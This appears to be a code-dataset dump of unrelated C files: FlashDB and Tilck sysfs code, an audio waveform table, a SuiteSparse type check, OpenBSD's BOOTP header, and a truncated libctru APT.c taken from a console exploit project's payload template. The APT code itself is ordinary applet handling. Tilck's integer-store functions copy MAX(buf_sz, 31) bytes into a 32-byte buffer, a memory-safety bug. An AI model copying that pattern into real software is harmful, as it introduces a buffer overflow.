/* check the flash partition */
if ((db->storage.part = fal_partition_find(path)) == NULL) {
FDB_INFO("Error: Partition (%s) not found.\n", path);
return FDB_PART_NOT_FOUND;
}
block_size = fal_flash_device_find(db->storage.part->flash_name)->blk_size;
if (db->sec_size == 0) {
db->sec_size = block_size;
} else {
/* must be aligned with block size */
if (db->sec_size % block_size != 0) {
FDB_INFO("Error: db sector size (%" PRIu32 ") MUST align with block size (%" PRIu32 ").\n", db->sec_size, block_size);
return FDB_INIT_FAILED;
}
}
db->max_size = db->storage.part->len;
#endif /* FDB_USING_FAL_MODE */
}
/* the block size MUST to be the Nth power of 2 */
FDB_ASSERT((db->sec_size & (db->sec_size - 1)) == 0);
/* must align with sector size */
if (db->max_size % db->sec_size != 0) {
FDB_INFO("Error: db total size (%" PRIu32 ") MUST align with sector size (%" PRIu32 ").\n", db->max_size, db->sec_size);
return FDB_INIT_FAILED;
}
/* must has more than or equal 2 sectors */
if (db->max_size / db->sec_size < 2) {
FDB_INFO("Error: db MUST has more than or equal 2 sectors, current has %" PRIu32 " sector(s)\n", db->max_size / db->sec_size);
return FDB_INIT_FAILED;
}
return FDB_NO_ERR;
}
void _fdb_init_finish(fdb_db_t db, fdb_err_t result)
{
static bool log_is_show = false;
if (result == FDB_NO_ERR) {
db->init_ok = true;
if (!log_is_show) {
FDB_INFO("FlashDB V%s is initialize success.\n", FDB_SW_VERSION);
FDB_INFO("You can get the latest version on https://github.com/armink/FlashDB .\n");
log_is_show = true;
}
} else if (!db->not_formatable) {
FDB_INFO("Error: %s (%s@%s) is initialize fail (%d).\n", db->type == FDB_DB_TYPE_KV ? "KVDB" : "TSDB",
db->name, _fdb_db_path(db), (int)result);
}
}
void _fdb_deinit(fdb_db_t db)
{
FDB_ASSERT(db);
if (db->init_ok) {
#ifdef FDB_USING_FILE_MODE
#ifdef FDB_USING_FILE_POSIX_MODE
if (db->cur_file > 0) {
#if !defined(_MSC_VER)
#include <unistd.h>
#endif
close(db->cur_file);
}
#else
if (db->cur_file != 0) {
fclose(db->cur_file);
}
#endif /* FDB_USING_FILE_POSIX_MODE */
#endif /* FDB_USING_FILE_MODE */
}
db->init_ok = false;
}
const char *_fdb_db_path(fdb_db_t db)
{
if (db->file_mode) {
#ifdef FDB_USING_FILE_MODE
return db->storage.dir;
#else
return NULL;
#endif
}
else {
#ifdef FDB_USING_FAL_MODE
return db->storage.part->name;
#else
return NULL;
#endif
}
}
|
7fe4c295f84bad06ab649fc82d145fa33977e999
|
9e0c8c8d8bafa73d133e41f201badc756c92978a
|
/modules/sysfs/types.c.h
|
6cd8a3ca24a00972faa64289b64c9c55075cfa28
|
[
"BSD-2-Clause",
"MIT",
"CC0-1.0",
"BSD-3-Clause",
"LicenseRef-scancode-public-domain",
"BSD-2-Clause-Views"
] |
permissive
|
vvaltchev/tilck
|
ccf8d9933be1269b85388e5b21645b831ecf5412
|
e9c27da4dd15f5f8a927b11f31484aec3f1429f0
|
refs/heads/master
| 2023-08-16T00:07:42.593483
| 2023-07-04T21:00:31
| 2023-07-19T23:25:42
| 53,845,595
| 2,142
| 115
|
BSD-2-Clause
| 2023-09-03T05:36:46
| 2016-03-14T10:02:41
|
C
|
UTF-8
|
C
| false
| false
| 6,788
|
h
|
types.c.h
|
/* SPDX-License-Identifier: BSD-2-Clause */
/* literal string */
static offt
sys_str_literal_load(struct sysobj *obj,
void *data, void *buf, offt buf_sz, offt off)
{
ASSERT(off == 0);
if (data)
return snprintk(buf, (size_t)buf_sz, "%s\n", data);
return 0;
}
const struct sysobj_prop_type sysobj_ptype_ro_string_literal = {
.load = &sys_str_literal_load
};
/* literal ulong */
static offt
sys_ulong_literal_load(struct sysobj *obj,
void *data, void *buf, offt buf_sz, offt off)
{
ASSERT(off == 0);
return snprintk(buf, (size_t)buf_sz, "%lu\n", (ulong)data);
}
const struct sysobj_prop_type sysobj_ptype_ro_ulong_literal = {
.load = &sys_ulong_literal_load
};
/* literal ulong_hex */
static offt
sys_ulong_hex_literal_load(struct sysobj *obj,
void *data, void *buf, offt buf_sz, offt off)
{
ASSERT(off == 0);
return snprintk(buf, (size_t)buf_sz, "%#lx\n", (ulong)data);
}
const struct sysobj_prop_type sysobj_ptype_ro_ulong_hex_literal = {
.load = &sys_ulong_hex_literal_load
};
/* ulong */
static offt
sys_ulong_load(struct sysobj *obj, void *data, void *buf, offt buf_sz, offt off)
{
ASSERT(off == 0);
const ulong val = *(ulong *)data;
return snprintk(buf, (size_t)buf_sz, "%lu\n", val);
}
static offt
sys_ulong_store(struct sysobj *obj, void *data, void *buf, offt buf_sz)
{
int err = 0;
ulong val;
char tmp[32] = {0};
memcpy(tmp, buf, (size_t)MAX(buf_sz, 31));
val = tilck_strtoul(tmp, NULL, 10, &err);
if (!err)
*(ulong *)data = val;
/*
* We MUST always return `buf_sz` to make sure userland code believes the
* whole buffer was consumed. Otherwise, it will get stuck re-trying forever
* to write to this property (which from userland is just a regular file).
*/
return buf_sz;
}
const struct sysobj_prop_type sysobj_ptype_rw_ulong = {
.load = &sys_ulong_load,
.store = &sys_ulong_store,
};
const struct sysobj_prop_type sysobj_ptype_ro_ulong = {
.load = &sys_ulong_load,
};
/* long */
static offt
sys_long_load(struct sysobj *obj, void *data, void *buf, offt buf_sz, offt off)
{
ASSERT(off == 0);
const long val = *(long *)data;
return snprintk(buf, (size_t)buf_sz, "%ld\n", val);
}
static offt
sys_long_store(struct sysobj *obj, void *data, void *buf, offt buf_sz)
{
int err = 0;
long val;
char tmp[32] = {0};
memcpy(tmp, buf, (size_t)MAX(buf_sz, (offt)sizeof(tmp) - 1));
val = tilck_strtol(tmp, NULL, 10, &err);
if (!err)
*(long *)data = val;
/*
* We MUST always return `buf_sz` to make sure userland code believes the
* whole buffer was consumed. Otherwise, it will get stuck re-trying forever
* to write to this property (which from userland is just a regular file).
*/
return buf_sz;
}
const struct sysobj_prop_type sysobj_ptype_rw_long = {
.load = &sys_long_load,
.store = &sys_long_store,
};
const struct sysobj_prop_type sysobj_ptype_ro_long = {
.load = &sys_long_load,
.store = NULL,
};
/* bool */
static offt
sys_bool_load(struct sysobj *obj, void *data, void *buf, offt buf_sz, offt off)
{
ASSERT(off == 0);
return snprintk(buf, (size_t)buf_sz, "%u\n", *(bool *)data);
}
static offt
sys_bool_store(struct sysobj *obj, void *data, void *buf, offt buf_sz)
{
char *s = buf;
if (s[0] == '0' || s[1] == '1') {
if (!s[1] || s[1] == '\n' || s[1] == '\r') {
*(bool *)data = s[0] - '0';
}
}
return buf_sz;
}
const struct sysobj_prop_type sysobj_ptype_rw_bool = {
.load = &sys_bool_load,
.store = &sys_bool_store,
};
const struct sysobj_prop_type sysobj_ptype_ro_bool = {
.load = &sys_bool_load,
};
/* config string */
static offt
sys_config_str_load(struct sysobj *obj,
void *data, void *buf, offt buf_sz, offt off)
{
ASSERT(off == 0);
struct sysfs_buffer *str = data;
return (offt)snprintk(buf, (size_t)buf_sz, "%s\n", str->buf);
}
static offt
sys_config_str_store(struct sysobj *obj, void *data, void *buf, offt buf_sz)
{
struct sysfs_buffer *str = data;
offt len = 0, lim = MIN(buf_sz, (offt)str->buf_sz - 1);
char *dest = str->buf;
for (char *p = buf; *p && *p != '\n' && len < lim; p++, len++) {
*dest++ = *p;
}
*dest = 0;
return buf_sz;
}
const struct sysobj_prop_type sysobj_ptype_rw_config_str = {
.load = &sys_config_str_load,
.store = &sys_config_str_store,
};
const struct sysobj_prop_type sysobj_ptype_ro_config_str = {
.load = &sys_config_str_load,
};
/* immutable data */
offt
sysobj_imm_data_get_buf_sz(struct sysobj *obj, void *prop_data)
{
struct sysfs_buffer *buf = prop_data;
return -(offt)buf->buf_sz;
}
void *
sysobj_imm_data_get_data_ptr(struct sysobj *obj, void *prop_data)
{
struct sysfs_buffer *databuf = prop_data;
return databuf->buf;
}
static offt
sys_imm_data_load(struct sysobj *obj,
void *prop_data, void *buf, offt buf_sz, offt off)
{
struct sysfs_buffer *databuf = prop_data;
offt to_read;
/*
* This is the only case where `off` is allowed to be > 0.
* Note: we're returning -size in our get_buf_sz() func.
*/
off = CLAMP(off, 0, (offt)databuf->buf_sz);
to_read = MIN((offt)databuf->buf_sz - off, buf_sz);
memcpy(buf, databuf->buf + off, (size_t)to_read);
return to_read;
}
const struct sysobj_prop_type sysobj_ptype_imm_data = {
.get_buf_sz = &sysobj_imm_data_get_buf_sz,
.load = &sys_imm_data_load,
.get_data_ptr = &sysobj_imm_data_get_data_ptr,
};
/* mutable data buffer */
offt
sysobj_databuf_get_buf_sz(struct sysobj *obj, void *prop_data)
{
struct sysfs_buffer *buf = prop_data;
return (offt)buf->buf_sz;
}
static offt
sys_databuf_load(struct sysobj *obj,
void *prop_data, void *dest, offt dest_buf_sz, offt off)
{
ASSERT(off == 0);
struct sysfs_buffer *databuf = prop_data;
offt to_read = MIN(dest_buf_sz, (offt)databuf->used);
memcpy(dest, databuf->buf, (size_t)to_read);
return to_read;
}
static offt
sys_databuf_store(struct sysobj *obj,
void *prop_data, void *src, offt src_buf_sz)
{
struct sysfs_buffer *databuf = prop_data;
offt to_write = MIN(src_buf_sz, (offt)databuf->buf_sz);
memcpy(databuf->buf, src, (size_t)to_write);
databuf->used = (u32)to_write;
return src_buf_sz;
}
const struct sysobj_prop_type sysobj_ptype_databuf = {
.get_buf_sz = &sysobj_databuf_get_buf_sz,
.load = &sys_databuf_load,
.store = &sys_databuf_store,
};
|
f82015f8b0947aa03ef5eee4630c0f634feae751
|
f3eed0234b4d0ad2bbb2abd700cf1e2c7a0e8a1d
|
/AKWF-c/AKWF_0007/AKWF_0669.h
|
4cdc51076d77734a00a06554eb347ac12bf99b50
|
[
"CC0-1.0"
] |
permissive
|
KristofferKarlAxelEkstrand/AKWF-FREE
|
b2defa1a2d389d309be6dd2e9f968923daf80d1b
|
cf8171df36e9fec25416b5f568b72a6e2cb69194
|
refs/heads/master
| 2023-07-23T18:22:36.939705
| 2023-07-10T17:14:40
| 2023-07-10T17:14:40
| 145,817,187
| 359
| 59
|
CC0-1.0
| 2023-07-10T17:14:41
| 2018-08-23T07:26:56
| null |
UTF-8
|
C
| false
| false
| 4,672
|
h
|
AKWF_0669.h
|
/* Adventure Kid Waveforms (AKWF) converted for use with Teensy Audio Library
*
* Adventure Kid Waveforms(AKWF) Open waveforms library
* https://www.adventurekid.se/akrt/waveforms/adventure-kid-waveforms/
*
* This code is in the public domain, CC0 1.0 Universal (CC0 1.0)
* https://creativecommons.org/publicdomain/zero/1.0/
*
* Converted by Brad Roy, https://github.com/prosper00
*/
/* AKWF_0669 256 samples
+-----------------------------------------------------------------------------------------------------------------+
| ****** * ***** * |
| **** ** *** * |
| **** ** *** * |
| **** ** ** * |
| ** *** ** ** |
|* *** * * |
| **** * ** |
| ******* *** **** **********|
| * *** * ****** |
| * ** * **** |
| * ** * *** |
| * ** ** *** |
| ** * *** ** |
| * ** ** ** |
| ** * *** * |
+-----------------------------------------------------------------------------------------------------------------+
*/
const uint16_t AKWF_0669 [] = {
33264, 34649, 35757, 36800, 37725, 38605, 39419, 40196, 40932, 41633, 42307, 42950, 43575, 44170, 44748, 45303,
45843, 46362, 46866, 47353, 47825, 48280, 48721, 49149, 49559, 49963, 50344, 50720, 51075, 51428, 51759, 52085,
52392, 52691, 52977, 53247, 53515, 53758, 54007, 54222, 54453, 54638, 54852, 55009, 55207, 55336, 55516, 55616,
55779, 55855, 55997, 56050, 56169, 56202, 56291, 56312, 56366, 56387, 56386, 56389, 53253, 50398, 48694, 46916,
45569, 44145, 42993, 41782, 40759, 39704, 38783, 37854, 37014, 36195, 35431, 34709, 34012, 33381, 32751, 32200,
31638, 31159, 30667, 30256, 29838, 29488, 29148, 28853, 28592, 28344, 28178, 27960, 27905, 27688, 27805, 27428,
29726, 33026, 34745, 36572, 37930, 39351, 40519, 41715, 42750, 43790, 44717, 45639, 46471, 47299, 48043, 48791,
49452, 50128, 50707, 51316, 51818, 52366, 52791, 53277, 53632, 54054, 54344, 54698, 54928, 55206, 55388, 55585,
55725, 55829, 55941, 55943, 55885, 49235, 43758, 40340, 37127, 34732, 32510, 30895, 29429, 28564, 27734, 27686,
21718, 15968, 12740, 9470, 7196, 4958, 3379, 1974, 988, 420, 0, 3756, 8438, 10874, 13547, 15440,
17447, 19019, 20592, 21919, 23143, 24263, 25096, 25888, 26518, 27209, 27613, 28158, 28306, 28768, 28091, 23091,
19823, 17197, 14374, 12940, 11703, 10890, 10077, 9483, 8844, 8197, 6419, 4996, 3902, 2901, 2195, 1490,
1229, 716, 2012, 4547, 5882, 7215, 8271, 9300, 10217, 11088, 11916, 12683, 13443, 14133, 14835, 15470,
16122, 16709, 17317, 17866, 18432, 18949, 19476, 19963, 20453, 20913, 21370, 21802, 22228, 22636, 23029, 23412,
23777, 24137, 24476, 24806, 25123, 25428, 25721, 25998, 26270, 26518, 26771, 26990, 27225, 27416, 27630, 27795,
27988, 28126, 28298, 28412, 28562, 28653, 28777, 28848, 28945, 29002, 29060, 29112, 29126, 29187, 29164, 31462,
};
|
9f1b2c6e71c10e279e7a1d2e512e4f5332209257
|
21c92afbd7fd022a206fb31294c523aebb770104
|
/SuiteSparse/GraphBLAS/Source/GB_compatible.c
|
0365db47df5fec9b9e49be43f70979346d33aefe
|
[
"BSD-3-Clause",
"LicenseRef-scancode-free-unknown",
"LicenseRef-scancode-unknown-license-reference",
"GPL-2.0-or-later",
"GPL-3.0-only",
"LGPL-2.1-or-later",
"LGPL-2.0-or-later",
"GPL-1.0-or-later",
"LicenseRef-scancode-other-copyleft",
"LicenseRef-scancode-warranty-disclaimer",
"Apache-2.0",
"LicenseRef-scancode-generic-cla"
] |
permissive
|
jlblancoc/suitesparse-metis-for-windows
|
70e6bcab2b525afb41758d61f823efa0618f67cf
|
5ee2eb4bc7bfd6d27af2f7fb027b1545cfc0fa3f
|
refs/heads/master
| 2023-08-30T21:15:39.624300
| 2023-03-09T10:16:48
| 2023-03-09T10:16:48
| 16,236,582
| 423
| 251
|
BSD-3-Clause
| 2023-03-09T10:18:08
| 2014-01-25T18:06:21
|
C
|
UTF-8
|
C
| false
| false
| 2,197
|
c
|
GB_compatible.c
|
//------------------------------------------------------------------------------
// GB_compatible: check input and operators for type compatibility
//------------------------------------------------------------------------------
// SuiteSparse:GraphBLAS, Timothy A. Davis, (c) 2017-2018, All Rights Reserved.
// http://suitesparse.com See GraphBLAS/Doc/License.txt for license.
//------------------------------------------------------------------------------
// Check if the types for C<Mask> = accum (C,T) are all compatible,
// and (if present) make sure the size of C and Mask match.
#include "GB.h"
GrB_Info GB_compatible // SUCCESS if all is OK, *_MISMATCH otherwise
(
const GrB_Type ctype, // the type of C (matrix or scalar)
const GrB_Matrix C, // the output matrix C; NULL if C is a scalar
const GrB_Matrix Mask, // optional Mask, NULL if no mask
const GrB_BinaryOp accum, // C<Mask> = accum(C,T) is computed
const GrB_Type ttype, // type of T
GB_Context Context
)
{
ASSERT (GB_ALIAS_OK (C, Mask)) ;
GrB_Info info ;
if (accum != NULL)
{
// Results T are accumlated via C<Mask>=accum(C,T)
// For entries in C and T, c=z=accum(c,t) is computed, so C must
// be compatible with both the ztype and xtype of accum, and T
// must be compatible with the ytype of accum.
// For entries in T but not C, c=t is assigned, so C and T must
// be compatible. This is the same as the condition below
// when accum is NULL.
info = GB_BinaryOp_compatible (accum, ctype, ctype, ttype, 0, Context) ;
if (info != GrB_SUCCESS)
{
return (info) ;
}
}
// C<Mask> = T, so C and T must be compatible.
// also C<Mask> = accum(C,T) for entries in T but not C
if (!GB_Type_compatible (ctype, ttype))
{
return (GB_ERROR (GrB_DOMAIN_MISMATCH, (GB_LOG,
"result of computation of type [%s]\n"
"cannot be typecast to final output of type [%s]",
ttype->name, ctype->name))) ;
}
// check the mask
return (GB_Mask_compatible (Mask, C, 1, 1, Context)) ;
}
|
464ddf5fa933a31d21f96c7af1c54b145d312af5
|
9ceacf33fd96913cac7ef15492c126d96cae6911
|
/usr.sbin/tcpdump/bootp.h
|
0f4e4164276ef16b59608a0170f296fe243f5bfc
|
[] |
no_license
|
openbsd/src
|
ab97ef834fd2d5a7f6729814665e9782b586c130
|
9e79f3a0ebd11a25b4bff61e900cb6de9e7795e9
|
refs/heads/master
| 2023-09-02T18:54:56.624627
| 2023-09-02T15:16:12
| 2023-09-02T15:16:12
| 66,966,208
| 3,394
| 1,235
| null | 2023-08-08T02:42:25
| 2016-08-30T18:18:25
|
C
|
UTF-8
|
C
| false
| false
| 6,635
|
h
|
bootp.h
|
/* $OpenBSD: bootp.h,v 1.8 2007/10/07 16:41:05 deraadt Exp $ */
/* @(#) $Id: bootp.h,v 1.8 2007/10/07 16:41:05 deraadt Exp $ (LBL) */
/*
* Bootstrap Protocol (BOOTP). RFC951 and RFC1048.
*
* This file specifies the "implementation-independent" BOOTP protocol
* information which is common to both client and server.
*
* Copyright 1988 by Carnegie Mellon.
*
* Permission to use, copy, modify, and distribute this program for any
* purpose and without fee is hereby granted, provided that this copyright
* and permission notice appear on all copies and supporting documentation,
* the name of Carnegie Mellon not be used in advertising or publicity
* pertaining to distribution of the program without specific prior
* permission, and notice be given in supporting documentation that copying
* and distribution is by permission of Carnegie Mellon and Stanford
* University. Carnegie Mellon makes no representations about the
* suitability of this software for any purpose. It is provided "as is"
* without express or implied warranty.
*/
struct bootp {
unsigned char bp_op; /* packet opcode type */
unsigned char bp_htype; /* hardware addr type */
unsigned char bp_hlen; /* hardware addr length */
unsigned char bp_hops; /* gateway hops */
u_int32_t bp_xid; /* transaction ID */
unsigned short bp_secs; /* seconds since boot began */
unsigned short bp_flags; /* flags: 0x8000 is broadcast */
struct in_addr bp_ciaddr; /* client IP address */
struct in_addr bp_yiaddr; /* 'your' IP address */
struct in_addr bp_siaddr; /* server IP address */
struct in_addr bp_giaddr; /* gateway IP address */
unsigned char bp_chaddr[16]; /* client hardware address */
unsigned char bp_sname[64]; /* server host name */
unsigned char bp_file[128]; /* boot file name */
unsigned char bp_vend[64]; /* vendor-specific area */
};
/*
* UDP port numbers, server and client.
*/
#define IPPORT_BOOTPS 67
#define IPPORT_BOOTPC 68
#define BOOTREPLY 2
#define BOOTREQUEST 1
/*
* Vendor magic cookie (v_magic) for CMU
*/
#define VM_CMU "CMU"
/*
* Vendor magic cookie (v_magic) for RFC1048
*/
#define VM_RFC1048 { 99, 130, 83, 99 }
/*
* RFC1048 tag values used to specify what information is being supplied in
* the vendor field of the packet.
*/
#define TAG_PAD ((unsigned char) 0)
#define TAG_SUBNET_MASK ((unsigned char) 1)
#define TAG_TIME_OFFSET ((unsigned char) 2)
#define TAG_GATEWAY ((unsigned char) 3)
#define TAG_TIME_SERVER ((unsigned char) 4)
#define TAG_NAME_SERVER ((unsigned char) 5)
#define TAG_DOMAIN_SERVER ((unsigned char) 6)
#define TAG_LOG_SERVER ((unsigned char) 7)
#define TAG_COOKIE_SERVER ((unsigned char) 8)
#define TAG_LPR_SERVER ((unsigned char) 9)
#define TAG_IMPRESS_SERVER ((unsigned char) 10)
#define TAG_RLP_SERVER ((unsigned char) 11)
#define TAG_HOSTNAME ((unsigned char) 12)
#define TAG_BOOTSIZE ((unsigned char) 13)
#define TAG_END ((unsigned char) 255)
/* RFC1497 tags */
#define TAG_DUMPPATH ((unsigned char) 14)
#define TAG_DOMAINNAME ((unsigned char) 15)
#define TAG_SWAP_SERVER ((unsigned char) 16)
#define TAG_ROOTPATH ((unsigned char) 17)
#define TAG_EXTPATH ((unsigned char) 18)
/* RFC2132 */
#define TAG_IP_FORWARD ((unsigned char) 19)
#define TAG_NL_SRCRT ((unsigned char) 20)
#define TAG_PFILTERS ((unsigned char) 21)
#define TAG_REASS_SIZE ((unsigned char) 22)
#define TAG_DEF_TTL ((unsigned char) 23)
#define TAG_MTU_TIMEOUT ((unsigned char) 24)
#define TAG_MTU_TABLE ((unsigned char) 25)
#define TAG_INT_MTU ((unsigned char) 26)
#define TAG_LOCAL_SUBNETS ((unsigned char) 27)
#define TAG_BROAD_ADDR ((unsigned char) 28)
#define TAG_DO_MASK_DISC ((unsigned char) 29)
#define TAG_SUPPLY_MASK ((unsigned char) 30)
#define TAG_DO_RDISC ((unsigned char) 31)
#define TAG_RTR_SOL_ADDR ((unsigned char) 32)
#define TAG_STATIC_ROUTE ((unsigned char) 33)
#define TAG_USE_TRAILERS ((unsigned char) 34)
#define TAG_ARP_TIMEOUT ((unsigned char) 35)
#define TAG_ETH_ENCAP ((unsigned char) 36)
#define TAG_TCP_TTL ((unsigned char) 37)
#define TAG_TCP_KEEPALIVE ((unsigned char) 38)
#define TAG_KEEPALIVE_GO ((unsigned char) 39)
#define TAG_NIS_DOMAIN ((unsigned char) 40)
#define TAG_NIS_SERVERS ((unsigned char) 41)
#define TAG_NTP_SERVERS ((unsigned char) 42)
#define TAG_VENDOR_OPTS ((unsigned char) 43)
#define TAG_NETBIOS_NS ((unsigned char) 44)
#define TAG_NETBIOS_DDS ((unsigned char) 45)
#define TAG_NETBIOS_NODE ((unsigned char) 46)
#define TAG_NETBIOS_SCOPE ((unsigned char) 47)
#define TAG_XWIN_FS ((unsigned char) 48)
#define TAG_XWIN_DM ((unsigned char) 49)
#define TAG_NIS_P_DOMAIN ((unsigned char) 64)
#define TAG_NIS_P_SERVERS ((unsigned char) 65)
#define TAG_MOBILE_HOME ((unsigned char) 68)
#define TAG_SMPT_SERVER ((unsigned char) 69)
#define TAG_POP3_SERVER ((unsigned char) 70)
#define TAG_NNTP_SERVER ((unsigned char) 71)
#define TAG_WWW_SERVER ((unsigned char) 72)
#define TAG_FINGER_SERVER ((unsigned char) 73)
#define TAG_IRC_SERVER ((unsigned char) 74)
#define TAG_STREETTALK_SRVR ((unsigned char) 75)
#define TAG_STREETTALK_STDA ((unsigned char) 76)
/* DHCP options */
#define TAG_REQUESTED_IP ((unsigned char) 50)
#define TAG_IP_LEASE ((unsigned char) 51)
#define TAG_OPT_OVERLOAD ((unsigned char) 52)
#define TAG_TFTP_SERVER ((unsigned char) 66)
#define TAG_BOOTFILENAME ((unsigned char) 67)
#define TAG_DHCP_MESSAGE ((unsigned char) 53)
#define TAG_SERVER_ID ((unsigned char) 54)
#define TAG_PARM_REQUEST ((unsigned char) 55)
#define TAG_MESSAGE ((unsigned char) 56)
#define TAG_MAX_MSG_SIZE ((unsigned char) 57)
#define TAG_RENEWAL_TIME ((unsigned char) 58)
#define TAG_REBIND_TIME ((unsigned char) 59)
#define TAG_VENDOR_CLASS ((unsigned char) 60)
#define TAG_CLIENT_ID ((unsigned char) 61)
/* DHCP Message types (values for TAG_DHCP_MESSAGE option) */
#define DHCPDISCOVER 1
#define DHCPOFFER 2
#define DHCPREQUEST 3
#define DHCPDECLINE 4
#define DHCPACK 5
#define DHCPNAK 6
#define DHCPRELEASE 7
#define DHCPINFORM 8
/*
* "vendor" data permitted for CMU bootp clients.
*/
struct cmu_vend {
unsigned char v_magic[4]; /* magic number */
u_int32_t v_flags; /* flags/opcodes, etc. */
struct in_addr v_smask; /* Subnet mask */
struct in_addr v_dgate; /* Default gateway */
struct in_addr v_dns1, v_dns2; /* Domain name servers */
struct in_addr v_ins1, v_ins2; /* IEN-116 name servers */
struct in_addr v_ts1, v_ts2; /* Time servers */
unsigned char v_unused[24]; /* currently unused */
};
/* v_flags values */
#define VF_SMASK 1 /* Subnet mask field contains valid data */
|
6feb8cb5dbbe3dac34bae015ae5a9a4a2044443b
|
1782b2a608d4336b018f30f4d2c619a84afe99db
|
/DSihax_legacy/code_payload/otherapp_template/libctru/source/APT.c
|
f58a8deadd7649a8380948602ee8bbcd8c260d34
|
[
"MIT"
] |
permissive
|
zoogie/Bannerbomb3
|
e60636ad9bf63909e660e1fe47d9addc2401ecab
|
785231079bd0a7a72c973c309d5fb5ddd8123c88
|
refs/heads/master
| 2023-05-25T14:11:58.244332
| 2023-05-23T07:47:09
| 2023-05-23T07:47:09
| 198,808,647
| 121
| 13
|
MIT
| 2022-10-15T06:00:42
| 2019-07-25T10:15:52
|
C
|
UTF-8
|
C
| false
| false
| 16,516
|
c
|
APT.c
|
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <ctr/types.h>
#include <ctr/srv.h>
#include <ctr/APT.h>
#include <ctr/GSP.h>
#include <ctr/svc.h>
#define APT_HANDLER_STACKSIZE (0x1000)
NS_APPID currentAppId;
Handle aptLockHandle;
Handle aptuHandle;
Handle aptEvents[3];
Handle aptEventHandlerThread;
u64 aptEventHandlerStack[APT_HANDLER_STACKSIZE/8]; //u64 so that it's 8-byte aligned
Handle aptStatusMutex;
Handle aptStatusEvent = 0;
APP_STATUS aptStatus = APP_NOTINITIALIZED;
APP_STATUS aptStatus_beforesleepmode = APP_NOTINITIALIZED;
u32 aptStatusPower = 0;
u32 aptParameters[0x1000/4]; //TEMP
void aptInitCaptureInfo(u32 *ns_capinfo)
{
u32 tmp=0;
u32 main_pixsz, sub_pixsz;
GSP_CaptureInfo gspcapinfo;
memset(&gspcapinfo, 0, sizeof(GSP_CaptureInfo));
GSPGPU_ImportDisplayCaptureInfo(NULL, &gspcapinfo);
if(gspcapinfo.screencapture[0].framebuf0_vaddr != gspcapinfo.screencapture[1].framebuf0_vaddr)ns_capinfo[1] = 1;
ns_capinfo[4] = gspcapinfo.screencapture[0].format & 0x7;
ns_capinfo[7] = gspcapinfo.screencapture[1].format & 0x7;
if(ns_capinfo[4] < 2)
{
main_pixsz = 3;
}
else
{
main_pixsz = 2;
}
if(ns_capinfo[7] < 2)
{
sub_pixsz = 3;
}
else
{
sub_pixsz = 2;
}
ns_capinfo[2] = sub_pixsz * 0x14000;
ns_capinfo[3] = ns_capinfo[2];
if(ns_capinfo[1])ns_capinfo[3] = main_pixsz * 0x19000 + ns_capinfo[2];
tmp = main_pixsz * 0x19000 + ns_capinfo[3];
ns_capinfo[0] = main_pixsz * 0x7000 + tmp;
}
void aptWaitStatusEvent()
{
svc_waitSynchronization1(aptStatusEvent, U64_MAX);
svc_clearEvent(aptStatusEvent);
}
void aptAppletUtility_Exit_RetToApp()
{
u8 buf1[4], buf2[4];
memset(buf1, 0, 4);
buf1[0]=0x10;
aptOpenSession();
APT_AppletUtility(NULL, NULL, 0x7, 0x4, buf1, 0x1, buf2);
aptCloseSession();
buf1[0]=0x00;
aptOpenSession();
APT_AppletUtility(NULL, NULL, 0x4, 0x1, buf1, 0x1, buf2);
aptCloseSession();
buf1[0]=0x01;
aptOpenSession();
APT_AppletUtility(NULL, NULL, 0x7, 0x4, buf1, 0x1, buf2);
aptCloseSession();
buf1[0]=0x00;
aptOpenSession();
APT_AppletUtility(NULL, NULL, 0x4, 0x1, buf1, 0x1, buf2);
aptCloseSession();
aptOpenSession();
APT_AppletUtility(NULL, NULL, 0x4, 0x1, buf1, 0x1, buf2);
aptCloseSession();
}
NS_APPID aptGetMenuAppID()
{
NS_APPID menu_appid;
aptOpenSession();
APT_GetAppletManInfo(NULL, 0xff, NULL, NULL, &menu_appid, NULL);
aptCloseSession();
return menu_appid;
}
void aptReturnToMenu()
{
NS_APPID menu_appid;
u32 tmp0 = 1, tmp1 = 0;
u32 ns_capinfo[0x20>>2];
u32 tmp_params[0x20>>2];
if(aptGetStatusPower()==0)//This is only executed when ret-to-menu was triggered via the home-button, not the power-button.
{
aptOpenSession();
APT_AppletUtility(NULL, NULL, 0x6, 0x4, (u8*)&tmp0, 0x1, (u8*)&tmp1);
aptCloseSession();
}
aptOpenSession();
APT_PrepareToJumpToHomeMenu(NULL); //prepare for return to menu
aptCloseSession();
svc_clearEvent(aptStatusEvent);
aptSetStatus(APP_SUSPENDED);
GSPGPU_SaveVramSysArea(NULL);
memset(tmp_params, 0, 0x20);
memset(ns_capinfo, 0, 0x20);
aptInitCaptureInfo(ns_capinfo);
menu_appid = aptGetMenuAppID();
aptOpenSession();
APT_SendParameter(NULL, currentAppId, menu_appid, 0x20, ns_capinfo, 0x0, 0x10);
aptCloseSession();
aptOpenSession();
APT_SendCaptureBufferInfo(NULL, 0x20, ns_capinfo);
aptCloseSession();
GSPGPU_ReleaseRight(NULL); //disable GSP module access
aptOpenSession();
APT_JumpToHomeMenu(NULL, 0x0, 0x0, 0x0); //jump !
aptCloseSession();
aptOpenSession();
APT_NotifyToWait(NULL, currentAppId);
aptCloseSession();
if(aptGetStatusPower()==0)//This is only executed when ret-to-menu was triggered via the home-button, not the power-button.
{
tmp0 = 0;
aptOpenSession();
APT_AppletUtility(NULL, NULL, 0x4, 0x1, (u8*)&tmp0, 0x1, (u8*)&tmp1);
aptCloseSession();
}
aptWaitStatusEvent();
}
void aptEventHandler(u32 arg)
{
bool runThread=true;
while(runThread)
{
s32 syncedID=0x0;
svc_waitSynchronizationN(&syncedID, aptEvents, 2, 0, U64_MAX);
svc_clearEvent(aptEvents[syncedID]);
switch(syncedID)
{
case 0x0: //event 0 means we got a signal from NS (home button, power button etc)
{
u8 signalType;
aptOpenSession();
APT_InquireNotification(NULL, currentAppId, &signalType); //check signal type
aptCloseSession();
switch(signalType)
{
case 0x1: //home menu button got pressed
case 0x8: //power button got pressed
if(aptGetStatus()==APP_RUNNING)
{
aptOpenSession();
APT_ReplySleepQuery(NULL, currentAppId, 0x0);
aptCloseSession();
if(signalType==0x1)aptSetStatusPower(0);
if(signalType==0x8)aptSetStatusPower(1);
aptSetStatus(APP_SUSPENDING);//The main thread should call aptReturnToMenu() when the status gets set to this.
}
break;
case 0x3: //preparing to enter sleep-mode
aptStatus_beforesleepmode = aptGetStatus();
aptOpenSession();
APT_ReplySleepQuery(NULL, currentAppId, 0x1);
aptCloseSession();
aptSetStatus(APP_PREPARE_SLEEPMODE);
break;
case 0x5: //entering sleep-mode
if(aptGetStatus()==APP_PREPARE_SLEEPMODE)
{
